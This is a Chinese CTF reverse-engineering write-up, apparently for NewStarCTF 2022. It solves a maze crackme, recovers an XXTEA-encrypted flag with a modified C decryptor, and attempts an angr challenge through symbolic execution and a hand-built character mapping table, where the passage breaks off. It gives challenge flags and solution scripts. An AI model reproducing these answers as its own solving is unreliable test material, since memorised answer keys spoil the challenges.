
flag{Zzzz333_Is_Cool!!!}

The Slider's Labyrinth

The Slider's Labyrinth
滑块的迷宫

简单nop E8 去除花指令

main函数

分析知道 maze 16行 ,如下: * 起点 0 终点

maze: [注意,这里每选择一个方向,走到不能走【while() 那完成这项处理】]

################
#*        #    #
#              #
#    #         #
##             #
#        #    ##
#   #          #
#              #
#    #      # O#
################

dsasdwds


print(hashlib.md5('dsasdwds'.encode()).hexdigest())

# dsasdwds

flag{f71516bdf07abd7bc0668db9d6352364}

EzTea

key===>{0x19,0x19,0x8,0x10}

这里分析可以知道是XXTEA加密,网上很多脚本,简单修改delta, 加密的移位处理即可得到flag。

例如下面:

#include <cstdint>
#include <cstdio>
#define DELTA 0x11451400
#define MX (((z ^ (key[(e ^ p) & 3])) + (y ^ sum)) ^ (((32 * z) ^ (y >> 3)) + ((4 * y) ^ (z >> 4))))

uint8_t ida_chars[] =
{
  0x82, 0x8A, 0xFA, 0x38, 0x80, 0x13, 0x50, 0xD7, 0x9D, 0x96,
  0x40, 0x0E, 0x20, 0x91, 0x16, 0x4E, 0xAB, 0x29, 0x3A, 0x71,
  0x3D, 0x39, 0xE5, 0x6C, 0x2E, 0x75, 0x9D, 0xB6, 0xE6, 0x88,
  0x1A, 0x84, 0x59, 0xB4, 0x31, 0x6F};

uint32_t key[] ={0x19,0x19,0x8,0x10};  

void btea(uint32_t *v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52/n;
        sum = 0;
        z = v[n-1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p=0; p<n-1; p++)
            {
                y = v[p+1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n-1] += MX;
        }
        while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52/n;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p=n-1; p>0; p--)
            {
                z = v[p-1];
                y = v[p] -= MX;
            }
            z = v[n-1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        while (--rounds);
    }
}
int main() {
    uint32_t *p = (uint32_t *)ida_chars; // 这里自动实现了小端序的转换
    for (int i=0;i<9;i++)
    {
        printf("%0x,",p[i]);
    }
    btea(p, -9, key);
    for(int i = 0; i < 36; i +=1 ) {

        printf("%c", ida_chars[i]);
    }
}

flag{H0P3_U_L1k3_Th15_CUP_0f_TEa.}

Annnnnggrr

0x01 angr 思路分析

结合题目,考点应该是 angr 的使用。

(173条消息) CTF 逆向工具angr的学习笔记___lifanxin的博客-CSDN博客_ctf逆向工具

【angr_ctf】二进制分析工具angr使用与练习-Part I(基础篇) - 求索 (gentlecp.com)

#encoding=utf-8
import angr

# 方式1,通过期望地址 和 避免地址 进行 angr 符号处理

proj = angr.Project(r"./Annnnnggrr",auto_load_libs=False) #载入程序
state = proj.factory.entry_state() #找入口点
simgr = proj.factory.simgr(state)  #从入口点开始爆破
simgr.explore(find=0x140002498,avoid=0x140002491) #期望路径 和 避免的路径
print (simgr.found[0].posix.dump(0)) #打印正确输入

# 该脚本无法跑出,应该是下面所示的,通过使用cmova,0x140002491、0x140002498两个地址都有使用到,所以导致上述脚本无用


.text:0000000140002484 88 05 C1 31 00 00             mov     cs:byte_14000564B, al
.text:000000014000248A E8 93 0C 00 00                call    memcmp
.text:000000014000248A
.text:000000014000248F 85 C0                         test    eax, eax
.text:0000000140002491 48 8D 15 F8 1D 00 00          lea     rdx, aFailed                    ; "Failed."
.text:0000000140002498 48 8D 0D E1 1D 00 00          lea     rcx, aSuccess                   ; "Success!"
.text:000000014000249F 48 0F 45 CA                   cmovnz  rcx, rdx                        ; Format
.text:00000001400024A3 E8 78 EB FF FF                call    sub_140001020

# cmp        %rsi,   %rdi
# cmova        %rdx,   %rax    

如果RDI寄存器中的值大于RSI寄存器中的值,则把RAX寄存器中的值替换为RDX寄存器中的值。


# 方式二
# 通过输出值进行期望设置,来符号运算 但是,速度太慢,能否跑出来不知道【尝试跑了30分钟左右,放弃】

import angr
pro = angr.Project(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week3\Re\Annnnnggrr\Annnnnggrr.exe",auto_load_libs=False)

init_state = pro.factory.entry_state()
simu = pro.factory.simgr(init_state)

def success(state):
    output = state.posix.dumps(1)   # get output from stdout
    return b"Success!" in output

def abort(state):
    output = state.posix.dumps(1)   # get output from stdout
    return b"Failed." in output

simu.explore(find=success, avoid=abort)
if simu.found:
    res = simu.found[0]
    for i in range(3):
        print(res.posix.dumps(i))
else:
    print("No result!")


#encoding=utf-8
import angr
import claripy

# 方式三,设置寄存器 eax, 但也没有用。原因未知,

p = angr.Project(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week3\Re\Annnnnggrr\Annnnnggrr.exe",auto_load_libs=False)

init_addr = 0x140001103 # scanf的下一条指令地址
state = p.factory.blank_state(addr=init_addr)  # 创建一个状态,并将该地址赋给它,也就是跳过输入,直接执行下一条指令,此处使用.blank_state()而不再是.entry_state()

# 定义1个位向量,即1个输入
p1 = claripy.BVS('p1', 64*4)  # 32位寄存器(符号向量)
# p2 = claripy.BVS('p2', 32)
# p3 = claripy.BVS('p3', 32)

state.regs.eax = p1  # .regs.eax 访问eax这个寄存器
# state.regs.ebx = p2
# state.regs.edx = p3
sm = p.factory.simulation_manager(state)

def good(state):
    return b'Success!' in state.posix.dumps(1)

def bad(state):
    return b'Failed.' in state.posix.dumps(1)

sm.explore(find=good, avoid=bad)
if sm.found:
    find_state = sm.found[0]
    flag1 = find_state.solver.eval(p1)  # 将探索成功时的第一个输入赋给flag1,下面两个类似
    # flag2 = find_state.solver.eval(p2)
    # flag3 = find_state.solver.eval(p3)
    # print('{:x} {:x} {:x}'.format(flag1, flag2, flag3))
    print('{:x}'.format(flag1))

测试了好多,都没有用。但是题目显然就是考这个angr 符号求解,只能等Wp 看如何使用。

那还有其他解决方案吗?

0x02 其他解决方案

z3 or 爆破解决:

# z3发现解不出来,直接麻了!!!

# 后面尝试,直接爆破没居然无解

【整理数据花了很久,但没出结果,直接哭。这里原因未知,可能数据整理时有误,也可能其他】
【尝试爆破也无解,难道数据之间有相互运算,我没注意到???】

只能尝试最后一种方案了:利用程序,获取flag。【分析程序可以知道,各个位置上的,输入与输出有一一对应关系,依据线性关系,获取每个字符,每个位置对应的输出,ida 手动patch 出一一对应关系 的数据,然后根据密文映射出flag】

显然,这种方式很费时间【当然,如果能写交互脚本,patch data,又会简单很多】

下面是手动patch 出的映射关系表【不会写脚本,就勤能补拙吧】

# -*- coding: UTF-8 -*-

test = '!#$*+-0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{}~\'&'

enc = [0x4F, 0x17, 0x0C, 0x56, 0xDB, 0x67, 0x5D, 0x67, 0x32, 0x2B,
       0x36, 0x03, 0x02, 0xF3, 0xA1, 0xE4, 0xC7, 0x27, 0xC1, 0xB6,
       0x4C, 0xD7, 0x59, 0xA1, 0x71, 0x52, 0x9A, 0xE2, 0x21, 0x96,
       0x0C, 0xCA]

test_ = [[0xEE, 0x62, 0xCC, 0x20, 0xE9, 0x5B, 0x39, 0x0B, 0x0C, 0x93,
          0xF0, 0x21, 0xC2, 0x04, 0x2F, 0x27, 0x8D, 0xBD, 0x81, 0x81,
          0x9A, 0xE1, 0x09, 0x56, 0x33, 0x5D, 0x9F, 0x5C, 0x61, 0x17,
          0xC5, 0x9E],
         [0x60, 0x4C, 0xF2, 0x02, 0xA3, 0x19, 0xC7, 0xF9, 0xFE, 0x15,
          0xF2, 0x23, 0x64, 0x7A, 0x25, 0x79, 0x43, 0x67, 0x37, 0xDB,
          0x8C, 0x5B, 0x7B, 0xA8, 0x9D, 0x47, 0xFD, 0xDE, 0xD3, 0x5D,
          0xF7, 0x7C],
         [0xB5, 0x1F, 0xC7, 0x17, 0xE4, 0xFA, 0xD8, 0xB8, 0x45, 0x72,
          0xBB, 0x24, 0x75, 0x8D, 0xDC, 0x54, 0xD8, 0x3A, 0x62, 0x2E,
          0x21, 0x78, 0x84, 0x51, 0xBC, 0x26, 0xEA, 0x6D, 0xD8, 0xAE,
          0xD4, 0x27],
         [0x33, 0xCD, 0x59, 0x55, 0x4A, 0x04, 0x5A, 0x4A, 0x8B, 0xF0,
          0x69, 0x2A, 0x8B, 0x97, 0xD6, 0x4A, 0x2A, 0xC0, 0x0C, 0x74,
          0x17, 0x96, 0x3A, 0xA7, 0xB2, 0xFC, 0x6C, 0xD3, 0xC6, 0x08,
          0xFA, 0x51],
         [0xA8, 0xC4, 0xCA, 0xFA, 0x2B, 0x11, 0x9F, 0x51, 0x96, 0xED,
          0xBA, 0x2B, 0x5C, 0xC2, 0x1D, 0x31, 0xAB, 0xDF, 0x5F, 0x63,
          0x64, 0xF3, 0x23, 0x30, 0xD5, 0xBF, 0x55, 0xA6, 0x4B, 0xE5,
          0x0F, 0x94],
         [0xCA, 0x96, 0x80, 0x8C, 0x25, 0xCF, 0x1D, 0x27, 0xE0, 0x8F,
          0x54, 0x2D, 0x5E, 0xA8, 0xB3, 0xBB, 0x91, 0x89, 0x15, 0x1D,
          0xD6, 0xFD, 0x35, 0xE2, 0x57, 0xE9, 0x5B, 0x10, 0x65, 0xE3,
          0xD9, 0x7A],
         [0xD1, 0xF3, 0x6B, 0x63, 0x50, 0x0E, 0xAC, 0x44, 0x59, 0xFE,
          0xDF, 0x30, 0x61, 0xE1, 0xD0, 0x68, 0x4C, 0x16, 0xF6, 0xEA,
          0x7D, 0x24, 0x10, 0x3D, 0xF0, 0x42, 0xB6, 0x61, 0xFC, 0x7A,
          0xE8, 0x03],
         [0xFE, 0xB2, 0xBC, 0xB0, 0x99, 0xAB, 0x89, 0x3B, 0xBC, 0x43,
          0x00, 0x31, 0x32, 0xF4, 0x9F, 0xB7, 0xDD, 0x2D, 0xD1, 0x31,
          0x2A, 0xF1, 0x59, 0xE6, 0xC3, 0x2D, 0x4F, 0x6C, 0x31, 0xC7,
          0x95, 0xEE],  # 1
         [0xDB, 0x05, 0x91, 0x8D, 0x52, 0x5C, 0x32, 0x82, 0x63, 0x28,
          0x31, 0x32, 0xE3, 0x1F, 0x4E, 0x22, 0xB2, 0x18, 0x54, 0x3C,
          0x8F, 0xEE, 0x42, 0xEF, 0x4A, 0x74, 0x04, 0xDB, 0x5E, 0xD0,
          0x12, 0xA9],  # 2
         [0x30, 0xDC, 0x62, 0xD2, 0x13, 0x29, 0x57, 0x69, 0xAE, 0x85,
          0x02, 0x33, 0xD4, 0xEA, 0x15, 0x09, 0x93, 0x17, 0x47, 0x0B,
          0x9C, 0x2B, 0x4B, 0x78, 0xAD, 0x17, 0xAD, 0xAE, 0x23, 0x4D,
          0xC7, 0xCC],
         [0x45, 0x6F, 0x77, 0x27, 0xD4, 0xCA, 0x28, 0x68, 0xB5, 0xE2,
          0xCB, 0x34, 0x25, 0x7D, 0x4C, 0xA4, 0xA8, 0xAA, 0xB2, 0xDE,
          0x71, 0x88, 0x14, 0xE1, 0x0C, 0x76, 0x5A, 0x3D, 0x68, 0x5E,
          0xE4, 0xB7],
         [0xD2, 0x8E, 0xF8, 0xA4, 0x8D, 0x27, 0xF5, 0x1F, 0x58, 0x07,
          0xDC, 0x35, 0xD6, 0x90, 0x8B, 0x93, 0x59, 0x41, 0x5D, 0xC5,
          0xAE, 0x15, 0xDD, 0x2A, 0x8F, 0x41, 0x53, 0x18, 0x7D, 0x0B,
          0x51, 0xF2],
         [0x1F, 0x11, 0xAD, 0xD1, 0x46, 0x28, 0xDE, 0x56, 0x2F, 0x7C,
          0x0D, 0x36, 0x37, 0x3B, 0xCA, 0x1E, 0xFE, 0xDC, 0x40, 0xF0,
          0xA3, 0x02, 0x36, 0xE3, 0x76, 0x28, 0xA8, 0x57, 0xDA, 0x24,
          0xAE, 0x2D],
         [0x04, 0x88, 0xAE, 0x26, 0x37, 0x85, 0xF3, 0x3D, 0x9A, 0x99,
          0x0E, 0x37, 0xD8, 0x26, 0x91, 0x15, 0xDF, 0x0B, 0xB3, 0x3F,
          0x20, 0xFF, 0x1F, 0x4C, 0xB9, 0x3B, 0x41, 0x7A, 0x0F, 0x61,
          0x83, 0x50],
         [0xD9, 0x2B, 0xE3, 0x9B, 0x18, 0x06, 0x44, 0xBC, 0x51, 0xD6,
          0xC7, 0x38, 0x39, 0x09, 0xE8, 0xC0, 0xB4, 0x2E, 0x9E, 0x92,
          0x15, 0xFC, 0x38, 0x45, 0xA8, 0x5A, 0xAE, 0xA9, 0xF4, 0xA2,
          0x00, 0xFB],
         [0xA6, 0x6A, 0xF4, 0x08, 0xE1, 0x83, 0xA1, 0xB3, 0x14, 0xFB,
          0x08, 0x39, 0x4A, 0x3C, 0x57, 0xEF, 0xA5, 0x25, 0x79, 0xD9,
          0x62, 0x69, 0x01, 0x8E, 0x7B, 0x45, 0x67, 0xD4, 0x69, 0xCF,
          0x8D, 0xA6],  # 9
         [0xE1, 0x43, 0x9B, 0xF3, 0x80, 0xDE, 0x3C, 0x74, 0x09, 0x2E,
          0xEF, 0x40, 0xD1, 0x11, 0x40, 0x78, 0x5C, 0xC6, 0xC6, 0x5A,
          0x0D, 0xB4, 0x60, 0x0D, 0x00, 0x52, 0xE6, 0xF1, 0x0C, 0x2A,
          0xB8, 0x93],  # @
         [0xCE, 0x82, 0x6C, 0x40, 0x09, 0xBB, 0x99, 0x6B, 0xEC, 0x73,
          0x50, 0x41, 0xA2, 0xE4, 0x8F, 0xC7, 0xED, 0xDD, 0xE1, 0x61,
          0x3A, 0x41, 0x69, 0x36, 0x53, 0xFD, 0xBF, 0xBC, 0xC1, 0xF7,
          0xE5, 0xFE],  # A
         [0xEB, 0x15, 0x01, 0xDD, 0x02, 0xAC, 0x42, 0x32, 0x93, 0x58,
          0xC1, 0x42, 0x13, 0x0F, 0x3E, 0xF2, 0x82, 0x88, 0x64, 0xEC,
          0xDF, 0x7E, 0x52, 0x7F, 0x1A, 0x44, 0x34, 0x2B, 0x2E, 0x40,
          0xA2, 0xB9],
         [0xC0, 0xEC, 0x92, 0x22, 0xC3, 0x79, 0xA7, 0x59, 0xDE, 0xF5,
          0xD2, 0x43, 0x44, 0xDA, 0x05, 0x19, 0xA3, 0x07, 0x17, 0x3B,
          0x2C, 0x3B, 0xDB, 0x88, 0x3D, 0x67, 0x1D, 0xBE, 0xB3, 0x3D,
          0x17, 0x5C],
         [0x95, 0x3F, 0xE7, 0x37, 0x04, 0xDA, 0x38, 0x18, 0x25, 0x52,
          0x1B, 0x44, 0x55, 0xED, 0x3C, 0xF4, 0xB8, 0x5A, 0xC2, 0x0E,
          0xC1, 0x58, 0xE4, 0x31, 0xDC, 0x46, 0x8A, 0xCD, 0xB8, 0x8E,
          0x74, 0x87],
         [0xE2, 0x1E, 0x28, 0xF4, 0x3D, 0x77, 0x85, 0x8F, 0x88, 0xB7,
          0x2C, 0x45, 0x86, 0x80, 0x7B, 0x63, 0xA9, 0xB1, 0xAD, 0xF5,
          0x3E, 0x25, 0x6D, 0xFA, 0x9F, 0x51, 0x43, 0x28, 0xCD, 0x3B,
          0x61, 0x82],
         [0x6F, 0xA1, 0xDD, 0x21, 0xB6, 0xB8, 0xAE, 0xC6, 0xDF, 0xAC,
          0x9D, 0x46, 0xE7, 0xEB, 0x7A, 0xEE, 0x4E, 0x4C, 0xD0, 0xA0,
          0xF3, 0x92, 0x06, 0x33, 0x06, 0x78, 0x18, 0xE7, 0xEA, 0x94,
          0xFE, 0xFD],
         [0x94, 0xD8, 0x1E, 0x36, 0x67, 0x55, 0x03, 0xAD, 0x8A, 0xC9,
          0x5E, 0x47, 0x08, 0xD6, 0x81, 0x25, 0xAF, 0xFB, 0x03, 0xEF,
          0xF0, 0x0F, 0xEF, 0x1C, 0x89, 0x8B, 0x31, 0x8A, 0x1F, 0x11,
          0x13, 0xE0],
         [0x29, 0x3B, 0xD3, 0xEB, 0x08, 0xD6, 0x14, 0x6C, 0xC1, 0xC6,
          0x57, 0x48, 0xA9, 0xB9, 0x18, 0xD0, 0xC4, 0xDE, 0x6E, 0x42,
          0xA5, 0x4C, 0x08, 0x95, 0x38, 0x2A, 0x5E, 0xB9, 0x44, 0x92,
          0x50, 0xCB],
         [0xF6, 0x7A, 0x64, 0x98, 0x91, 0x53, 0x31, 0x23, 0x04, 0x2B,
          0x18, 0x49, 0xFA, 0xAC, 0x87, 0x3F, 0xF5, 0x55, 0xC9, 0x49,
          0x72, 0x79, 0xD1, 0x1E, 0x0B, 0x95, 0x97, 0xE4, 0xB9, 0x7F,
          0xDD, 0x76],  # I
         [0x13, 0xED, 0x79, 0x75, 0xEA, 0xE4, 0x3A, 0x2A, 0x6B, 0xD0,
          0x49, 0x4A, 0xEB, 0x77, 0xB6, 0x6A, 0x0A, 0x60, 0xEC, 0xD4,
          0xB7, 0x76, 0x1A, 0x87, 0x52, 0x9C, 0x8C, 0x33, 0xA6, 0x68,
          0x9A, 0x31],
         [0x88, 0xE4, 0xEA, 0x9A, 0x4B, 0x71, 0xFF, 0x31, 0xF6, 0x4D,
          0x9A, 0x4B, 0x3C, 0xA2, 0xFD, 0xD1, 0x8B, 0xFF, 0xBF, 0x43,
          0x04, 0xD3, 0x83, 0x10, 0xF5, 0x5F, 0x75, 0x86, 0xAB, 0xC5,
          0xAF, 0xF4],
         [0x1D, 0xF7, 0x3F, 0x4F, 0x8C, 0xF2, 0xD0, 0x50, 0x7D, 0x2A,
          0x83, 0x4C, 0xAD, 0x15, 0xF4, 0xAC, 0xC0, 0x32, 0x0A, 0x56,
          0x19, 0xF0, 0x0C, 0xB9, 0x74, 0x9E, 0xC2, 0xF5, 0xF0, 0x36,
          0x6C, 0x5F],
         [0x2A, 0xB6, 0xA0, 0xAC, 0x45, 0x2F, 0xFD, 0x87, 0x40, 0xEF,
          0xB4, 0x4D, 0xBE, 0x08, 0x93, 0x5B, 0xF1, 0x29, 0xF5, 0xFD,
          0xF6, 0xDD, 0x15, 0xC2, 0x77, 0x09, 0xFB, 0xF0, 0x45, 0x43,
          0xF9, 0x5A],  # M
         [0xD7, 0x19, 0x15, 0x39, 0x1E, 0x30, 0xA6, 0xDE, 0x17, 0x84,
          0xA5, 0x4E, 0x3F, 0x13, 0x12, 0x86, 0xD6, 0x84, 0x98, 0x28,
          0x6B, 0xEA, 0xEE, 0x9B, 0x7E, 0x70, 0xD0, 0xEF, 0x02, 0x1C,
          0xD6, 0x35],
         [0x7C, 0x50, 0x76, 0xCE, 0xCF, 0xAD, 0x7B, 0x45, 0x42, 0x61,
          0x66, 0x4F, 0x80, 0xBE, 0xD9, 0xBD, 0x37, 0xB3, 0x2B, 0xD7,
          0xC8, 0x87, 0xB7, 0xE4, 0x61, 0x03, 0x69, 0x52, 0x97, 0xF9,
          0x4B, 0xF8],
         [0x31, 0x13, 0x8B, 0x03, 0xF0, 0xEE, 0x8C, 0x24, 0xB9, 0xDE,
          0xBF, 0x50, 0xC1, 0x41, 0x30, 0x08, 0x2C, 0xB6, 0x56, 0xCA,
          0x9D, 0x04, 0xF0, 0x9D, 0x10, 0x62, 0xD6, 0x41, 0x5C, 0x5A,
          0x08, 0x63],
         [0x5E, 0x52, 0xDC, 0x50, 0xB9, 0x0B, 0x69, 0x1B, 0x9C, 0x23,
          0xE0, 0x51, 0x12, 0xD4, 0xFF, 0xD7, 0x3D, 0x4D, 0xB1, 0x11,
          0x4A, 0xD1, 0xB9, 0x46, 0x63, 0xCD, 0x6F, 0x4C, 0x91, 0x27,
          0x35, 0x4E],
         [0x3B, 0xA5, 0x31, 0xAD, 0x72, 0xBC, 0x12, 0x62, 0xC3, 0x88,
          0x11, 0x52, 0x43, 0xFF, 0x2E, 0xC2, 0x92, 0xB8, 0x34, 0x1C,
          0xAF, 0x4E, 0xA2, 0x4F, 0x6A, 0x94, 0x24, 0x3B, 0x3E, 0xB0,
          0xB2, 0x09],
         [0x10, 0xFC, 0x82, 0xF2, 0x33, 0x89, 0x37, 0xC9, 0x8E, 0x65,
          0x62, 0x53, 0x34, 0xCA, 0xF5, 0xA9, 0x73, 0x37, 0xA7, 0xEB,
          0x3C, 0x8B, 0xAB, 0x58, 0x4D, 0xB7, 0x4D, 0x8E, 0x83, 0xAD,
          0x67, 0x2C],
         [0x25, 0x8F, 0x17, 0xC7, 0xF4, 0xAA, 0x08, 0x48, 0x95, 0xC2,
          0xAB, 0x54, 0x85, 0xDD, 0x2C, 0xC4, 0x08, 0xCA, 0x92, 0x3E,
          0x11, 0x68, 0xF4, 0x41, 0x2C, 0x16, 0x7A, 0x9D, 0x48, 0xBE,
          0x04, 0x97],
         [0xB2, 0x2E, 0x18, 0x44, 0xAD, 0x87, 0x55, 0xFF, 0xB8, 0x67,
          0x3C, 0x55, 0x36, 0x70, 0x6B, 0xB3, 0x39, 0x61, 0x3D, 0xA5,
          0xCE, 0x75, 0xBD, 0x8A, 0xAF, 0x61, 0xF3, 0xF8, 0x5D, 0xEB,
          0x71, 0xD2],
         [0x7F, 0xB1, 0x4D, 0xF1, 0xE6, 0x88, 0x3E, 0xB6, 0x0F, 0xDC,
          0xED, 0x56, 0x97, 0x1B, 0xAA, 0x3E, 0xDE, 0x7C, 0xA0, 0x50,
          0x43, 0x62, 0x96, 0xC3, 0x16, 0x48, 0x48, 0xB7, 0xBA, 0x04,
          0xCE, 0x8D],
         [0x64, 0x28, 0x4E, 0xC6, 0xD7, 0x65, 0xD3, 0x9D, 0xFA, 0x79,
          0xEE, 0x57, 0x38, 0x86, 0xF1, 0x35, 0x3F, 0xAB, 0x13, 0x1F,
          0xC0, 0xDF, 0xFF, 0x2C, 0x59, 0xDB, 0xE1, 0xDA, 0xEF, 0x41,
          0xA3, 0xB0],
         [0x39, 0xCB, 0x03, 0x3B, 0x38, 0x66, 0x24, 0x9C, 0xB1, 0xB6,
          0xA7, 0x58, 0x99, 0x69, 0x48, 0xE0, 0x94, 0x4E, 0xFE, 0xF2,
          0xB5, 0x5C, 0x98, 0xA5, 0xC8, 0xFA, 0x4E, 0x89, 0xD4, 0x82,
          0xA0, 0xDB],
         [0x86, 0x0A, 0x94, 0x28, 0x01, 0xE3, 0x81, 0x93, 0x74, 0x5B,
          0xE8, 0x59, 0x2A, 0x1C, 0x37, 0x8F, 0x05, 0x45, 0x59, 0xB9,
          0x02, 0xC9, 0x61, 0xEE, 0x1B, 0xE5, 0x07, 0x34, 0xC9, 0xAF,
          0x2D, 0x06],
         [0x63, 0xBD, 0x69, 0x05, 0x1A, 0x74, 0xCA, 0xDA, 0x1B, 0x00,
          0x99, 0x5A, 0x9B, 0xA7, 0xE6, 0xBA, 0x5A, 0xD0, 0xFC, 0x44,
          0xC7, 0x46, 0xEA, 0x97, 0x22, 0xAC, 0x7C, 0x03, 0xF6, 0x98,
          0x6A, 0x01],  # Z
         [0x8C, 0xE0, 0x26, 0xDE, 0xFF, 0xFD, 0x8B, 0x35, 0x32, 0x11,
          0x36, 0x5F, 0x30, 0xEE, 0xC9, 0x4D, 0xC7, 0xE3, 0x7B, 0x87,
          0x18, 0xD7, 0xC7, 0xF4, 0x71, 0x53, 0x19, 0xE2, 0xE7, 0x69,
          0x9B, 0xC8],
         [0xAE, 0xA2, 0x0C, 0xE0, 0xA9, 0x9B, 0x79, 0x4B, 0xCC, 0x53,
          0xB0, 0x61, 0x02, 0x44, 0x6F, 0x67, 0xCD, 0x7D, 0xC1, 0x41,
          0x5A, 0xA1, 0x49, 0x16, 0xF3, 0x1D, 0xDF, 0x9C, 0x21, 0xD7,
          0x05, 0xDE],  # a
         [0xCB, 0xB5, 0xA1, 0xFD, 0xA2, 0x0C, 0x22, 0x92, 0xF3, 0xB8,
          0xA1, 0x62, 0xF3, 0xEF, 0x9E, 0x92, 0xE2, 0xA8, 0xC4, 0x4C,
          0x7F, 0xDE, 0xB2, 0x5F, 0xBA, 0x64, 0x54, 0x8B, 0x8E, 0xA0,
          0x42, 0x99],
         [0x20, 0x8C, 0x32, 0xC2, 0x63, 0x59, 0x07, 0x39, 0xBE, 0xD5,
          0xB2, 0x63, 0xA4, 0xBA, 0x65, 0xB9, 0x83, 0x27, 0x77, 0x9B,
          0x4C, 0x1B, 0xBB, 0x68, 0x5D, 0x07, 0x3D, 0x1E, 0x93, 0x1D,
          0x37, 0xBC],
         [0x75, 0x5F, 0x07, 0xD7, 0xA4, 0x3A, 0x18, 0xF8, 0x05, 0x32,
          0x7B, 0x64, 0xB5, 0xCD, 0x1C, 0x94, 0x18, 0xFA, 0xA2, 0xEE,
          0xE1, 0x38, 0xC4, 0x11, 0x7C, 0xE6, 0x2A, 0xAD, 0x98, 0x6E,
          0x14, 0x67],
         [0xC2, 0xBE, 0x48, 0x94, 0xDD, 0xD7, 0xE5, 0x6F, 0xE8, 0x97,
          0x0C, 0x65, 0xE6, 0xE0, 0xDB, 0x83, 0x09, 0x51, 0x8D, 0x55,
          0x5E, 0x05, 0xCD, 0x5A, 0xBF, 0x71, 0xE3, 0x08, 0x2D, 0x9B,
          0x01, 0xE2],
         [0x4F, 0x41, 0x7D, 0xC1, 0xD6, 0x98, 0x0E, 0xA6, 0xBF, 0x0C,
          0x7D, 0x66, 0xC7, 0xCB, 0xDA, 0x8E, 0x2E, 0xEC, 0x30, 0x80,
          0x93, 0xF2, 0xE6, 0x13, 0xA6, 0x18, 0xB8, 0xC7, 0x4A, 0x74,
          0x9E, 0xDD],
         [0xF4, 0xF8, 0x3E, 0x56, 0x87, 0x35, 0x63, 0x0D, 0xEA, 0xA9,
          0x3E, 0x67, 0xE8, 0xB6, 0xE1, 0x45, 0x0F, 0x9B, 0xE3, 0xCF,
          0x90, 0xEF, 0xCF, 0x7C, 0x29, 0xAB, 0x51, 0xEA, 0xFF, 0x71,
          0xB3, 0x40],
         [0x89, 0xDB, 0x73, 0x0B, 0x28, 0x36, 0x74, 0xCC, 0x21, 0xA6,
          0xB7, 0x68, 0x09, 0x19, 0xF8, 0x70, 0xA4, 0xFE, 0xCE, 0x22,
          0x45, 0x2C, 0x68, 0xF5, 0x58, 0xCA, 0xFE, 0x99, 0xA4, 0xF2,
          0xF0, 0x2B],
         [0x56, 0x9A, 0x04, 0xB8, 0x31, 0x33, 0x11, 0x03, 0xE4, 0x8B,
          0x78, 0x69, 0xDA, 0x0C, 0x67, 0xDF, 0x55, 0x75, 0xA9, 0xA9,
          0x12, 0xD9, 0x31, 0xFE, 0xAB, 0xB5, 0x37, 0xC4, 0x99, 0x5F,
          0xFD, 0x56],
         [0xF3, 0x0D, 0x99, 0x15, 0x0A, 0x44, 0x9A, 0x8A, 0x4B, 0xB0,
          0x29, 0x6A, 0xCB, 0xD7, 0x16, 0x8A, 0x6A, 0x80, 0x4C, 0x34,
          0xD7, 0x56, 0x7A, 0x67, 0x72, 0xBC, 0xAC, 0x13, 0x86, 0xC8,
          0x3A, 0x91],
         [0xF3, 0x0D, 0x99, 0x15, 0x0A, 0x44, 0x9A, 0x8A, 0x4B, 0xB0,
          0x29, 0x6A, 0xCB, 0xD7, 0x16, 0x8A, 0x6A, 0x80, 0x4C, 0x34,
          0xD7, 0x56, 0x7A, 0x67, 0x72, 0xBC, 0xAC, 0x13, 0x86, 0xC8,
          0x3A, 0x91],
         [0x7D, 0x17, 0x5F, 0xEF, 0xAC, 0xD2, 0xB0, 0x30, 0xDD, 0x0A,
          0xE3, 0x6C, 0x0D, 0x75, 0xD4, 0xCC, 0xA0, 0x52, 0xEA, 0xB6,
          0xB9, 0xD0, 0x6C, 0x99, 0x14, 0x3E, 0x62, 0xD5, 0x50, 0x96,
          0x0C, 0xBF],
         [0x8A, 0xD6, 0xC0, 0x4C, 0xE5, 0x0F, 0x5D, 0x67, 0xA0, 0x4F,
          0x14, 0x6D, 0x9E, 0xE8, 0xF3, 0xFB, 0xD1, 0x49, 0x55, 0xDD,
          0x96, 0xBD, 0x75, 0xA2, 0x17, 0xA9, 0x9B, 0x50, 0x25, 0xA3,
          0x19, 0xBA],
         [0x37, 0xB9, 0xB5, 0xD9, 0xBE, 0x90, 0x06, 0x3E, 0x77, 0xE4,
          0x85, 0x6E, 0x9F, 0xF3, 0xF2, 0xA6, 0x36, 0x24, 0xF8, 0x88,
          0x0B, 0x4A, 0xCE, 0x7B, 0x9E, 0x10, 0x70, 0x4F, 0xE2, 0xFC,
          0xF6, 0x15],
         [0xDC, 0x70, 0x96, 0x6E, 0xEF, 0x8D, 0xDB, 0x25, 0x22, 0x41,
          0xC6, 0x6F, 0xE0, 0x1E, 0xB9, 0xDD, 0x97, 0x53, 0x0B, 0xB7,
          0xE8, 0xE7, 0x97, 0xC4, 0x01, 0x23, 0x09, 0x32, 0x77, 0x59,
          0x6B, 0x58],
         [0x91, 0x33, 0xAB, 0x23, 0x10, 0x4E, 0xEC, 0x84, 0x19, 0xBE,
          0x9F, 0x70, 0xA1, 0x21, 0x10, 0xA8, 0x8C, 0xD6, 0x36, 0xAA,
          0x3D, 0xE4, 0x50, 0xFD, 0xB0, 0x02, 0xF6, 0xA1, 0xBC, 0x3A,
          0x28, 0x43],
         [0xBE, 0xF2, 0xFC, 0x70, 0x59, 0xEB, 0xC9, 0x7B, 0x7C, 0x03,
          0xC0, 0x71, 0x72, 0x34, 0xDF, 0xF7, 0x1D, 0xED, 0x11, 0xF1,
          0xEA, 0xB1, 0x99, 0xA6, 0x83, 0xED, 0x8F, 0xAC, 0xF1, 0x87,
          0xD5, 0x2E],
         [0x9B, 0x45, 0xD1, 0x4D, 0x12, 0x9C, 0x72, 0xC2, 0x23, 0xE8,
